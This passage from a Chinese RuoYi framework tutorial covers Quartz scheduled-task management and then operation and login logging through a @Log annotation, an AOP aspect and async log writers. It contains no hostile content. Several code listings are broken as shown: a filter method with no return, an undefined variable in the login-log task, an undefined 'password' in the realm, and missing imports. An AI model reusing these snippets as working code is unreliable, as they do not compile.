`0 0/5 * * * ?`	每5分钟执行一次
`0 0 0 1 * ?`	每月1号0点执行
`0 0 12 ? * MON-FRI`	工作日中午12点执行
`0 0 0 1,15 * ?`	每月1号和15号0点执行
`0 15 10 ? * *`	每天上午10:15执行
`0 0 0 L * ?`	每月最后一天0点执行

在线工具

推荐使用在线 Cron 表达式生成器：

https://cron.qqe2.com/
https://www.bejson.com/othertools/cron/

任务 Service 实现

// src/main/java/com/ruoyi/quartz/service/impl/SysJobServiceImpl.java
package com.ruoyi.quartz.service.impl;

import java.util.List;
import javax.annotation.PostConstruct;
import org.quartz.JobDataMap;
import org.quartz.JobKey;
import org.quartz.Scheduler;
import org.quartz.SchedulerException;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.constant.ScheduleConstants;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.quartz.domain.SysJob;
import com.ruoyi.quartz.mapper.SysJobMapper;
import com.ruoyi.quartz.service.ISysJobService;
import com.ruoyi.quartz.util.CronUtils;
import com.ruoyi.quartz.util.ScheduleUtils;

/**
 * 定时任务调度信息 服务层
 * 
 * @author ruoyi
 */
@Service
public class SysJobServiceImpl implements ISysJobService {
    @Autowired
    private Scheduler scheduler;

    @Autowired
    private SysJobMapper jobMapper;

    /**
     * 项目启动时，初始化调度器 主要是防止手动修改数据库导致未同步到定时任务处理
     */
    @PostConstruct
    public void init() throws SchedulerException {
        scheduler.clear();
        List<SysJob> jobList = jobMapper.selectJobAll();
        for (SysJob job : jobList) {
            ScheduleUtils.createScheduleJob(scheduler, job);
        }
    }

    /**
     * 获取quartz调度器的计划任务列表
     */
    @Override
    public List<SysJob> selectJobList(SysJob job) {
        return jobMapper.selectJobList(job);
    }

    /**
     * 通过调度任务ID查询调度信息
     */
    @Override
    public SysJob selectJobById(Long jobId) {
        return jobMapper.selectJobById(jobId);
    }

    /**
     * 暂停任务
     */
    @Override
    @Transactional
    public int pauseJob(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        String jobGroup = job.getJobGroup();
        SysJob properties = selectJobById(jobId);
        // 暂停任务
        scheduler.pauseJob(ScheduleUtils.getJobKey(jobId, jobGroup));
        properties.setStatus(ScheduleConstants.Status.PAUSE.getValue());
        return jobMapper.updateJob(properties);
    }

    /**
     * 恢复任务
     */
    @Override
    @Transactional
    public int resumeJob(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        String jobGroup = job.getJobGroup();
        SysJob properties = selectJobById(jobId);
        // 恢复任务
        scheduler.resumeJob(ScheduleUtils.getJobKey(jobId, jobGroup));
        properties.setStatus(ScheduleConstants.Status.NORMAL.getValue());
        return jobMapper.updateJob(properties);
    }

    /**
     * 删除任务后，所对应的trigger也将被删除
     */
    @Override
    @Transactional
    public int deleteJob(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        String jobGroup = job.getJobGroup();
        // 删除任务
        scheduler.deleteJob(ScheduleUtils.getJobKey(jobId, jobGroup));
        return jobMapper.deleteJobById(jobId);
    }

    /**
     * 批量删除调度信息
     */
    @Override
    @Transactional
    public void deleteJobByIds(String ids) throws SchedulerException {
        Long[] jobIds = Convert.toLongArray(ids);
        for (Long jobId : jobIds) {
            SysJob job = jobMapper.selectJobById(jobId);
            deleteJob(job);
        }
    }

    /**
     * 任务调度状态修改
     */
    @Override
    @Transactional
    public int changeStatus(SysJob job) throws SchedulerException {
        int rows = 0;
        String status = job.getStatus();
        if (ScheduleConstants.Status.NORMAL.getValue().equals(status)) {
            rows = resumeJob(job);
        } else if (ScheduleConstants.Status.PAUSE.getValue().equals(status)) {
            rows = pauseJob(job);
        }
        return rows;
    }

    /**
     * 立即运行任务
     */
    @Override
    @Transactional
    public void run(SysJob job) throws SchedulerException {
        Long jobId = job.getJobId();
        SysJob tmpObj = selectJobById(jobId);
        // 参数
        JobDataMap dataMap = new JobDataMap();
        dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
        scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup()), dataMap);
    }

    /**
     * 新增任务
     */
    @Override
    @Transactional
    public int insertJob(SysJob job) throws SchedulerException {
        job.setStatus(ScheduleConstants.Status.PAUSE.getValue());
        int rows = jobMapper.insertJob(job);
        if (rows > 0) {
            ScheduleUtils.createScheduleJob(scheduler, job);
        }
        return rows;
    }

    /**
     * 更新任务的时间表达式
     */
    @Override
    @Transactional
    public int updateJob(SysJob job) throws SchedulerException {
        SysJob properties = selectJobById(job.getJobId());
        int rows = jobMapper.updateJob(job);
        if (rows > 0) {
            updateSchedulerJob(job, properties.getJobGroup());
        }
        return rows;
    }

    /**
     * 更新任务
     */
    public void updateSchedulerJob(SysJob job, String jobGroup) throws SchedulerException {
        Long jobId = job.getJobId();
        // 判断是否存在
        JobKey jobKey = ScheduleUtils.getJobKey(jobId, jobGroup);
        if (scheduler.checkExists(jobKey)) {
            // 防止创建时触发器还未开始就删除了
            scheduler.deleteJob(jobKey);
        }
        ScheduleUtils.createScheduleJob(scheduler, job);
    }

    /**
     * 校验cron表达式是否有效
     */
    @Override
    public boolean checkCronExpressionIsValid(SysJob job) {
        return CronUtils.isValid(job.getCronExpression());
    }
}

任务调度工具类

// src/main/java/com/ruoyi/quartz/util/ScheduleUtils.java
package com.ruoyi.quartz.util;

import org.quartz.*;
import com.ruoyi.common.constant.ScheduleConstants;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.quartz.domain.SysJob;

/**
 * 定时任务工具类
 * 
 * @author ruoyi
 */
public class ScheduleUtils {
    /**
     * 得到quartz任务类
     */
    private static Class<? extends Job> getQuartzJobClass(SysJob sysJob) {
        boolean isConcurrent = "0".equals(sysJob.getConcurrent());
        return isConcurrent ? QuartzJobExecution.class : QuartzDisallowConcurrentExecution.class;
    }

    /**
     * 构建任务触发对象
     */
    public static TriggerKey getTriggerKey(Long jobId, String jobGroup) {
        return TriggerKey.triggerKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup);
    }

    /**
     * 构建任务键对象
     */
    public static JobKey getJobKey(Long jobId, String jobGroup) {
        return JobKey.jobKey(ScheduleConstants.TASK_CLASS_NAME + jobId, jobGroup);
    }

    /**
     * 创建定时任务
     */
    public static void createScheduleJob(Scheduler scheduler, SysJob job) {
        try {
            Class<? extends Job> jobClass = getQuartzJobClass(job);
            // 构建job信息
            Long jobId = job.getJobId();
            String jobGroup = job.getJobGroup();
            JobDetail jobDetail = JobBuilder.newJob(jobClass)
                    .withIdentity(getJobKey(jobId, jobGroup))
                    .build();

            // 表达式调度构建器
            CronScheduleBuilder cronScheduleBuilder = CronScheduleBuilder
                    .cronSchedule(job.getCronExpression());
            cronScheduleBuilder = handleCronScheduleMisfirePolicy(job, cronScheduleBuilder);

            // 按新的cronExpression表达式构建一个新的trigger
            CronTrigger trigger = TriggerBuilder.newTrigger()
                    .withIdentity(getTriggerKey(jobId, jobGroup))
                    .withSchedule(cronScheduleBuilder)
                    .build();

            // 放入参数，运行时的方法可以获取
            jobDetail.getJobDataMap().put(ScheduleConstants.TASK_PROPERTIES, job);

            // 判断是否存在
            if (scheduler.checkExists(getJobKey(jobId, jobGroup))) {
                // 防止创建时触发器还未开始就删除了
                scheduler.deleteJob(getJobKey(jobId, jobGroup));
            }

            scheduler.scheduleJob(jobDetail, trigger);

            // 暂停任务
            if (job.getStatus().equals(ScheduleConstants.Status.PAUSE.getValue())) {
                scheduler.pauseJob(getJobKey(jobId, jobGroup));
            }
        } catch (SchedulerException e) {
            throw new ServiceException("创建定时任务失败");
        }
    }

    /**
     * 设置定时任务策略
     */
    public static CronScheduleBuilder handleCronScheduleMisfirePolicy(SysJob job, 
            CronScheduleBuilder cb) throws ServiceException {
        switch (job.getMisfirePolicy()) {
            case ScheduleConstants.MISFIRE_DEFAULT:
                return cb;
            case ScheduleConstants.MISFIRE_IGNORE_MISFIRES:
                return cb.withMisfireHandlingInstructionIgnoreMisfires();
            case ScheduleConstants.MISFIRE_FIRE_AND_PROCEED:
                return cb.withMisfireHandlingInstructionFireAndProceed();
            case ScheduleConstants.MISFIRE_DO_NOTHING:
                return cb.withMisfireHandlingInstructionDoNothing();
            default:
                throw new ServiceException("未知任务策略");
        }
    }
}

任务执行类

// src/main/java/com/ruoyi/quartz/util/QuartzJobExecution.java
package com.ruoyi.quartz.util;

import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import com.ruoyi.quartz.domain.SysJob;

/**
 * 定时任务处理（允许并发执行）
 * 
 * @author ruoyi
 */
public class QuartzJobExecution extends AbstractQuartzJob {
    @Override
    protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception {
        JobInvokeUtil.invokeMethod(sysJob);
    }
}

// src/main/java/com/ruoyi/quartz/util/QuartzDisallowConcurrentExecution.java
package com.ruoyi.quartz.util;

import org.quartz.DisallowConcurrentExecution;
import org.quartz.JobExecutionContext;
import com.ruoyi.quartz.domain.SysJob;

/**
 * 定时任务处理（禁止并发执行）
 * 
 * @author ruoyi
 */
@DisallowConcurrentExecution
public class QuartzDisallowConcurrentExecution extends AbstractQuartzJob {
    @Override
    protected void doExecute(JobExecutionContext context, SysJob sysJob) throws Exception {
        JobInvokeUtil.invokeMethod(sysJob);
    }
}

复习卡片

// 定时任务核心流程
// 1. 项目启动时初始化
@PostConstruct
public void init() throws SchedulerException {
    scheduler.clear();
    List<SysJob> jobList = jobMapper.selectJobAll();
    for (SysJob job : jobList) {
        ScheduleUtils.createScheduleJob(scheduler, job);
    }
}

// 2. 创建任务
JobDetail jobDetail = JobBuilder.newJob(jobClass)
    .withIdentity(getJobKey(jobId, jobGroup))
    .build();

CronTrigger trigger = TriggerBuilder.newTrigger()
    .withIdentity(getTriggerKey(jobId, jobGroup))
    .withSchedule(CronScheduleBuilder.cronSchedule(cronExpression))
    .build();

scheduler.scheduleJob(jobDetail, trigger);

// 3. 暂停/恢复任务
scheduler.pauseJob(getJobKey(jobId, jobGroup));
scheduler.resumeJob(getJobKey(jobId, jobGroup));

// 4. 立即执行
scheduler.triggerJob(getJobKey(jobId, jobGroup), dataMap);

类名	职责
`SysJob`	任务实体类
`SysJobLog`	任务日志实体
`ISysJobService`	任务服务接口
`ScheduleUtils`	任务调度工具类
`CronUtils`	Cron 表达式工具类
`QuartzJobExecution`	允许并发执行的任务
`QuartzDisallowConcurrentExecution`	禁止并发执行的任务

任务策略	说明
MISFIRE_DEFAULT	默认策略
MISFIRE_IGNORE_MISFIRES	立即执行所有错过的任务
MISFIRE_FIRE_AND_PROCEED	执行一次后按原计划执行
MISFIRE_DO_NOTHING	不执行错过的任务

[!TIP] 下一步：阶段十一：代码生成器

在阶段十一中，我们将学习代码生成器的实现，包括 Velocity 模板引擎和自动化代码生成。

RuoYi 阶段九：日志管理

Mon, 07 Sep 2026 11:00:00 GMT

[!NOTE] 本文是 RuoYi 学习路线的阶段九，聚焦日志管理。学完本篇你应该能：

理解操作日志和登录日志的区别

掌握 AOP 切面编程记录日志

知道 @Log 注解的使用方法

前端视角：日志管理像什么？

RuoYi 日志	前端类比
操作日志	用户行为埋点 (Analytics)
登录日志	登录历史记录
`@Log` 注解	装饰器 (Decorator)
AOP 切面	拦截器 (Interceptor)
异步记录	Web Worker 后台处理

日志类型

操作日志 (sys_oper_log)

记录用户的增删改操作：

CREATE TABLE sys_oper_log (
  oper_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '日志主键',
  title             VARCHAR(50)     DEFAULT ''                 COMMENT '模块标题',
  business_type     INT(2)          DEFAULT 0                  COMMENT '业务类型（0其它 1新增 2修改 3删除）',
  method            VARCHAR(100)    DEFAULT ''                 COMMENT '方法名称',
  request_method    VARCHAR(10)     DEFAULT ''                 COMMENT '请求方式',
  operator_type     INT(1)          DEFAULT 0                  COMMENT '操作类别（0其它 1后台用户 2手机端用户）',
  oper_name         VARCHAR(50)     DEFAULT ''                 COMMENT '操作人员',
  dept_name         VARCHAR(50)     DEFAULT ''                 COMMENT '部门名称',
  oper_url          VARCHAR(255)    DEFAULT ''                 COMMENT '请求URL',
  oper_ip           VARCHAR(128)    DEFAULT ''                 COMMENT '主机地址',
  oper_location     VARCHAR(255)    DEFAULT ''                 COMMENT '操作地点',
  oper_param        VARCHAR(2000)   DEFAULT ''                 COMMENT '请求参数',
  json_result       VARCHAR(2000)   DEFAULT ''                 COMMENT '返回参数',
  status            INT(1)          DEFAULT 0                  COMMENT '操作状态（0正常 1异常）',
  error_msg         VARCHAR(2000)   DEFAULT ''                 COMMENT '错误消息',
  oper_time         DATETIME                                   COMMENT '操作时间',
  cost_time         BIGINT(20)      DEFAULT 0                  COMMENT '消耗时间',
  PRIMARY KEY (oper_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '操作日志记录';

登录日志 (sys_logininfor)

记录用户登录登出：

CREATE TABLE sys_logininfor (
  info_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT '访问ID',
  login_name        VARCHAR(50)     DEFAULT ''                 COMMENT '登录账号',
  ipaddr            VARCHAR(128)    DEFAULT ''                 COMMENT '登录IP地址',
  login_location    VARCHAR(255)    DEFAULT ''                 COMMENT '登录地点',
  browser           VARCHAR(50)     DEFAULT ''                 COMMENT '浏览器类型',
  os                VARCHAR(50)     DEFAULT ''                 COMMENT '操作系统',
  status            CHAR(1)         DEFAULT '0'                COMMENT '登录状态（0成功 1失败）',
  msg               VARCHAR(255)    DEFAULT ''                 COMMENT '提示消息',
  login_time        DATETIME                                   COMMENT '访问时间',
  PRIMARY KEY (info_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = '系统访问记录';

操作日志实体类

// src/main/java/com/ruoyi/system/domain/SysOperLog.java
package com.ruoyi.system.domain;

import java.util.Date;
import com.fasterxml.jackson.annotation.JsonFormat;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 操作日志记录表 oper_log
 * 
 * @author ruoyi
 */
public class SysOperLog extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 日志主键 */
    @Excel(name = "操作序号", cellType = ColumnType.NUMERIC)
    private Long operId;

    /** 操作模块 */
    @Excel(name = "操作模块")
    private String title;

    /** 业务类型（0其它 1新增 2修改 3删除） */
    @Excel(name = "业务类型", readConverterExp = "0=其它,1=新增,2=修改,3=删除,4=授权,5=导出,6=导入,7=强退,8=生成代码,9=清空数据")
    private Integer businessType;

    /** 请求方法 */
    @Excel(name = "请求方法")
    private String method;

    /** 请求方式 */
    @Excel(name = "请求方式")
    private String requestMethod;

    /** 操作类别（0其它 1后台用户 2手机端用户） */
    @Excel(name = "操作类别", readConverterExp = "0=其它,1=后台用户,2=手机端用户")
    private Integer operatorType;

    /** 操作人员 */
    @Excel(name = "操作人员")
    private String operName;

    /** 部门名称 */
    @Excel(name = "部门名称")
    private String deptName;

    /** 请求url */
    @Excel(name = "请求地址")
    private String operUrl;

    /** 操作地址 */
    @Excel(name = "操作地址")
    private String operIp;

    /** 操作地点 */
    @Excel(name = "操作地点")
    private String operLocation;

    /** 请求参数 */
    @Excel(name = "请求参数")
    private String operParam;

    /** 返回参数 */
    @Excel(name = "返回参数")
    private String jsonResult;

    /** 操作状态（0正常 1异常） */
    @Excel(name = "状态", readConverterExp = "0=正常,1=异常")
    private Integer status;

    /** 错误消息 */
    @Excel(name = "错误消息")
    private String errorMsg;

    /** 操作时间 */
    @JsonFormat(pattern = "yyyy-MM-dd HH:mm:ss")
    @Excel(name = "操作时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss")
    private Date operTime;

    /** 消耗时间 */
    @Excel(name = "消耗时间", suffix = "毫秒")
    private Long costTime;

    // Getter 和 Setter 省略...
}

@Log 注解

// src/main/java/com/ruoyi/common/annotation/Log.java
package com.ruoyi.common.annotation;

import java.lang.annotation.*;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.enums.OperatorType;

/**
 * 自定义操作日志记录注解
 * 
 * @author ruoyi
 */
@Target({ ElementType.PARAMETER, ElementType.METHOD })
@Retention(RetentionPolicy.RUNTIME)
@Documented
public @interface Log {
    /**
     * 模块
     */
    public String title() default "";

    /**
     * 功能
     */
    public BusinessType businessType() default BusinessType.OTHER;

    /**
     * 操作人类别
     */
    public OperatorType operatorType() default OperatorType.MANAGE;

    /**
     * 是否保存请求的参数
     */
    public boolean isSaveRequestData() default true;

    /**
     * 是否保存响应的参数
     */
    public boolean isSaveResponseData() default true;

    /**
     * 排除指定的请求参数
     */
    public String[] excludeParamNames() default {};
}

业务类型枚举

// src/main/java/com/ruoyi/common/enums/BusinessType.java
package com.ruoyi.common.enums;

/**
 * 业务操作类型
 * 
 * @author ruoyi
 */
public enum BusinessType {
    /** 其它 */
    OTHER,

    /** 新增 */
    INSERT,

    /** 修改 */
    UPDATE,

    /** 删除 */
    DELETE,

    /** 授权 */
    GRANT,

    /** 导出 */
    EXPORT,

    /** 导入 */
    IMPORT,

    /** 强退 */
    FORCE,

    /** 生成代码 */
    GENCODE,

    /** 清空数据 */
    CLEAN,
}

AOP 切面实现

操作日志切面

// src/main/java/com/ruoyi/framework/aspectj/LogAspect.java
package com.ruoyi.framework.aspectj;

import java.lang.reflect.Method;
import java.util.*;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.aspectj.lang.JoinPoint;
import org.aspectj.lang.annotation.AfterReturning;
import org.aspectj.lang.annotation.AfterThrowing;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Before;
import org.aspectj.lang.annotation.Pointcut;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.core.task.AsyncTaskExecutor;
import org.springframework.stereotype.Component;
import org.springframework.validation.BindingResult;
import org.springframework.web.multipart.MultipartFile;
import com.alibaba.fastjson.JSON;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.enums.BusinessStatus;
import com.ruoyi.common.utils.*;
import com.ruoyi.framework.manager.AsyncManager;
import com.ruoyi.framework.manager.factory.AsyncFactory;
import com.ruoyi.system.domain.SysOperLog;

/**
 * 操作日志记录处理
 * 
 * @author ruoyi
 */
@Aspect
@Component
public class LogAspect {
    private static final Logger log = LoggerFactory.getLogger(LogAspect.class);

    /** 排除敏感属性字段 */
    public static final String[] EXCLUDE_PROPERTIES = { "password", "oldPassword", "newPassword", "confirmPassword" };

    /** 计算操作消耗时间 */
    private static final ThreadLocal<Long> TIME_THREADLOCAL = new ThreadLocal<>();

    @Autowired
    private AsyncTaskExecutor asyncTaskExecutor;

    /**
     * 配置织入点
     */
    @Pointcut("@annotation(com.ruoyi.common.annotation.Log)")
    public void logPointCut() {
    }

    /**
     * 处理请求前
     */
    @Before("logPointCut()")
    public void doBefore(JoinPoint joinPoint) {
        TIME_THREADLOCAL.set(System.currentTimeMillis());
    }

    /**
     * 处理完请求后执行
     */
    @AfterReturning(pointcut = "logPointCut()", returning = "jsonResult")
    public void doAfterReturning(JoinPoint joinPoint, Object jsonResult) {
        handleLog(joinPoint, null, jsonResult);
    }

    /**
     * 拦截异常操作
     */
    @AfterThrowing(value = "logPointCut()", throwing = "e")
    public void doAfterThrowing(JoinPoint joinPoint, Exception e) {
        handleLog(joinPoint, e, null);
    }

    protected void handleLog(final JoinPoint joinPoint, final Exception e, Object jsonResult) {
        try {
            // 获得注解
            Log controllerLog = getAnnotationLog(joinPoint);
            if (controllerLog == null) {
                return;
            }

            // 获取当前的用户
            SysUser currentUser = ShiroUtils.getSysUser();

            // 构建操作日志对象
            SysOperLog operLog = new SysOperLog();
            operLog.setStatus(BusinessStatus.SUCCESS.ordinal());
            // 请求的地址
            String ip = ShiroUtils.getIp();
            operLog.setOperIp(ip);
            operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255));

            if (currentUser != null) {
                operLog.setOperName(currentUser.getLoginName());
                if (StringUtils.isNotNull(currentUser.getDept()) 
                        && StringUtils.isNotEmpty(currentUser.getDept().getDeptName())) {
                    operLog.setDeptName(currentUser.getDept().getDeptName());
                }
            }

            if (e != null) {
                operLog.setStatus(BusinessStatus.FAIL.ordinal());
                operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 2000));
            }
            // 设置方法名称
            String className = joinPoint.getTarget().getClass().getName();
            String methodName = joinPoint.getSignature().getName();
            operLog.setMethod(className + "." + methodName + "()");
            // 设置请求方式
            operLog.setRequestMethod(ServletUtils.getRequest().getMethod());
            // 处理设置注解上的参数
            getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult);
            // 设置消耗时间
            operLog.setCostTime(System.currentTimeMillis() - TIME_THREADLOCAL.get());

            // 保存数据库（异步）
            AsyncManager.me().execute(AsyncFactory.recordOper(operLog));
        } catch (Exception exp) {
            // 记录本地异常日志
            log.error("==前置通知异常==");
            log.error("异常信息:{}", exp.getMessage());
            exp.printStackTrace();
        } finally {
            TIME_THREADLOCAL.remove();
        }
    }

    /**
     * 获取注解中对方法的描述信息 用于Controller层注解
     */
    public void getControllerMethodDescription(JoinPoint joinPoint, Log log, SysOperLog operLog, Object jsonResult) {
        // 设置action动作
        operLog.setBusinessType(log.businessType().ordinal());
        // 设置标题
        operLog.setTitle(log.title());
        // 设置操作人类别
        operLog.setOperatorType(log.operatorType().ordinal());
        // 是否需要保存request，参数和值
        if (log.isSaveRequestData()) {
            // 获取参数的信息，传入到数据库中。
            setRequestValue(joinPoint, operLog, log.excludeParamNames());
        }
        // 是否需要保存response，参数和值
        if (log.isSaveResponseData() && StringUtils.isNotNull(jsonResult)) {
            operLog.setJsonResult(StringUtils.substring(JSON.toJSONString(jsonResult), 0, 2000));
        }
    }

    /**
     * 获取请求的参数，放到log中
     */
    private void setRequestValue(JoinPoint joinPoint, SysOperLog operLog, String[] excludeParamNames) {
        Map<String, String> map = ServletUtils.getRequest().getParameterMap();
        if (StringUtils.isNotEmpty(map)) {
            String params = JSONObject.toJSONString(map, excludePropertyPreFilter(excludeParamNames));
            operLog.setOperParam(StringUtils.substring(params, 0, 2000));
        } else {
            Object args = joinPoint.getArgs();
            if (StringUtils.isNotNull(args)) {
                List<Object> paramsList = new ArrayList<>();
                for (Object arg : args) {
                    if (StringUtils.isNull(arg) || arg instanceof ServletRequest 
                            || arg instanceof ServletResponse || arg instanceof MultipartFile
                            || arg instanceof BindingResult) {
                        continue;
                    }
                    paramsList.add(arg);
                }
                String params = JSONObject.toJSONString(paramsList, excludePropertyPreFilter(excludeParamNames));
                operLog.setOperParam(StringUtils.substring(params, 0, 2000));
            }
        }
    }

    /**
     * 是否存在注解，如果存在就获取
     */
    private Log getAnnotationLog(JoinPoint joinPoint) {
        try {
            Method method = ((MethodSignature) joinPoint.getSignature()).getMethod();
            if (method != null) {
                return method.getAnnotation(Log.class);
            }
        } catch (Exception e) {
            return null;
        }
        return null;
    }

    /**
     * 忽略敏感属性
     */
    public PropertyPreFilters.MySimplePropertyPreFilter excludePropertyPreFilter(String[] excludeParamNames) {
        PropertyPreFilters filters = new PropertyPreFilters();
        PropertyPreFilters.MySimplePropertyPreFilter excludefilter = filters.addFilter();
        excludefilter.addExcludes(ArrayUtils.addAll(EXCLUDE_PROPERTIES, excludeParamNames));
    }
}

异步日志记录

异步任务工厂

// src/main/java/com/ruoyi/framework/manager/factory/AsyncFactory.java
package com.ruoyi.framework.manager.factory;

import java.util.TimerTask;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.ruoyi.common.constant.Constants;
import com.ruoyi.common.utils.AddressUtils;
import com.ruoyi.common.utils.ServletUtils;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.domain.SysLogininfor;
import com.ruoyi.system.domain.SysOperLog;
import com.ruoyi.system.service.ISysLogininforService;
import com.ruoyi.system.service.ISysOperLogService;

/**
 * 异步工厂（产生任务用）
 * 
 * @author ruoyi
 */
public class AsyncFactory {
    private static final Logger sys_user_log = LoggerFactory.getLogger("sys-user");

    /**
     * 记录操作日志
     */
    public static TimerTask recordOper(final SysOperLog operLog) {
        return new TimerTask() {
            @Override
            public void run() {
                // 远程查询操作地点
                operLog.setOperLocation(AddressUtils.getRealAddressByIP(operLog.getOperIp()));
                SpringUtils.getBean(ISysOperLogService.class).insertOperlog(operLog);
            }
        };
    }

    /**
     * 记录登录信息
     */
    public static TimerTask recordLogininfor(final String username, final String status, 
            final String message, final Object... args) {
        final UserAgent userAgent = UserAgent.parseUserAgentString(ServletUtils.getRequest().getHeader("User-Agent"));
        final String ip = ShiroUtils.getIp();
        return new TimerTask() {
            @Override
            public void run() {
                String os = userAgent.getOperatingSystem().getName();
                String browser = userAgent.getBrowser().getName();
                // 打印信息到日志
                sys_user_log.info(s.toString(), args);
                // 获取客户端操作系统
                // 封装登录信息
                SysLogininfor logininfor = new SysLogininfor();
                logininfor.setLoginName(username);
                logininfor.setIpaddr(ip);
                logininfor.setBrowser(browser);
                logininfor.setOs(os);
                logininfor.setMsg(message);
                // 日志状态
                if (Constants.LOGIN_SUCCESS.equals(status) || Constants.LOGOUT.equals(status)) {
                    logininfor.setStatus(Constants.SUCCESS);
                } else if (Constants.LOGIN_FAIL.equals(status)) {
                    logininfor.setStatus(Constants.FAIL);
                }
                // 远程查询操作地点
                logininfor.setLoginLocation(AddressUtils.getRealAddressByIP(ip));
                // 插入数据
                SpringUtils.getBean(ISysLogininforService.class).insertLogininfor(logininfor);
            }
        };
    }
}

异步管理器

// src/main/java/com/ruoyi/framework/manager/AsyncManager.java
package com.ruoyi.framework.manager;

import java.util.TimerTask;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.TimeUnit;
import com.ruoyi.common.utils.Threads;
import com.ruoyi.common.utils.spring.SpringUtils;

/**
 * 异步任务管理器
 * 
 * @author liuhulu
 */
public class AsyncManager {
    /**
     * 操作延迟10毫秒
     */
    private final int OPERATE_DELAY_TIME = 10;

    /**
     * 异步操作任务调度线程池
     */
    private ScheduledExecutorService executor = SpringUtils.getBean("scheduledExecutorService");

    /**
     * 单例模式
     */
    private static AsyncManager me = new AsyncManager();

    public static AsyncManager me() {
        return me;
    }

    /**
     * 执行任务
     */
    public void execute(TimerTask task) {
        executor.schedule(task, OPERATE_DELAY_TIME, TimeUnit.MILLISECONDS);
    }

    /**
     * 停止任务线程池
     */
    public void shutdown() {
        Threads.shutdownAndAwaitTermination(executor);
    }
}

使用示例

Controller 中添加日志

// src/main/java/com/ruoyi/web/controller/system/SysUserController.java

/**
 * 新增保存用户
 */
@RequiresPermissions("system:user:add")
@Log(title = "用户管理", businessType = BusinessType.INSERT)
@PostMapping("/add")
@ResponseBody
public AjaxResult addSave(@Validated SysUser user) {
    // ... 业务逻辑
    return toAjax(userService.insertUser(user));
}

/**
 * 修改保存用户
 */
@RequiresPermissions("system:user:edit")
@Log(title = "用户管理", businessType = BusinessType.UPDATE)
@PostMapping("/edit")
@ResponseBody
public AjaxResult editSave(@Validated SysUser user) {
    // ... 业务逻辑
    return toAjax(userService.updateUser(user));
}

/**
 * 删除用户
 */
@RequiresPermissions("system:user:remove")
@Log(title = "用户管理", businessType = BusinessType.DELETE)
@PostMapping("/remove")
@ResponseBody
public AjaxResult remove(String ids) {
    return toAjax(userService.deleteUserByIds(ids));
}

/**
 * 导出用户
 */
@Log(title = "用户管理", businessType = BusinessType.EXPORT)
@PostMapping("/export")
@ResponseBody
public AjaxResult export(HttpServletResponse response, SysUser user) {
    // ... 导出逻辑
}

登录日志记录

// src/main/java/com/ruoyi/framework/shiro/realm/UserRealm.java

@Override
protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken token) {
    UsernamePasswordToken upToken = (UsernamePasswordToken) token;
    SysUser user = userService.selectUserByLoginName(upToken.getUsername());
    
    if (StringUtils.isNull(user)) {
        // 记录登录失败日志
        AsyncManager.me().execute(AsyncFactory.recordLogininfor(
            upToken.getUsername(), Constants.LOGIN_FAIL, "用户不存在"));
        throw new UnknownAccountException("用户不存在");
    }
    
    if (!passwordService.matches(user, new String(upToken.getPassword()))) {
        // 记录登录失败日志
        AsyncManager.me().execute(AsyncFactory.recordLogininfor(
            upToken.getUsername(), Constants.LOGIN_FAIL, "密码错误"));
        throw new IncorrectCredentialsException("密码错误");
    }
    
    // 记录登录成功日志
    AsyncManager.me().execute(AsyncFactory.recordLogininfor(
        upToken.getUsername(), Constants.LOGIN_SUCCESS, "登录成功"));
    
    return new SimpleAuthenticationInfo(user, password, getName());
}

复习卡片

// 日志管理核心流程
// 1. 添加 @Log 注解
@Log(title = "用户管理", businessType = BusinessType.INSERT)
public AjaxResult addSave(SysUser user);

// 2. AOP 切面拦截
@Pointcut("@annotation(com.ruoyi.common.annotation.Log)")
public void logPointCut() {}

// 3. 异步记录日志
AsyncManager.me().execute(AsyncFactory.recordOper(operLog));

// 4. 登录日志
AsyncManager.me().execute(AsyncFactory.recordLogininfor(
    username, Constants.LOGIN_SUCCESS, "登录成功"));

类名	职责
`SysOperLog`	操作日志实体
`SysLogininfor`	登录日志实体
`@Log`	日志注解
`LogAspect`	日志切面
`AsyncFactory`	异步任务工厂
`AsyncManager`	异步任务管理器
`BusinessType`	业务类型枚举

业务类型	说明
OTHER	其它
INSERT	新增
UPDATE	修改
DELETE	删除
GRANT	授权
EXPORT	导出
IMPORT	导入
FORCE	强退
GENCODE	生成代码
CLEAN	清空数据

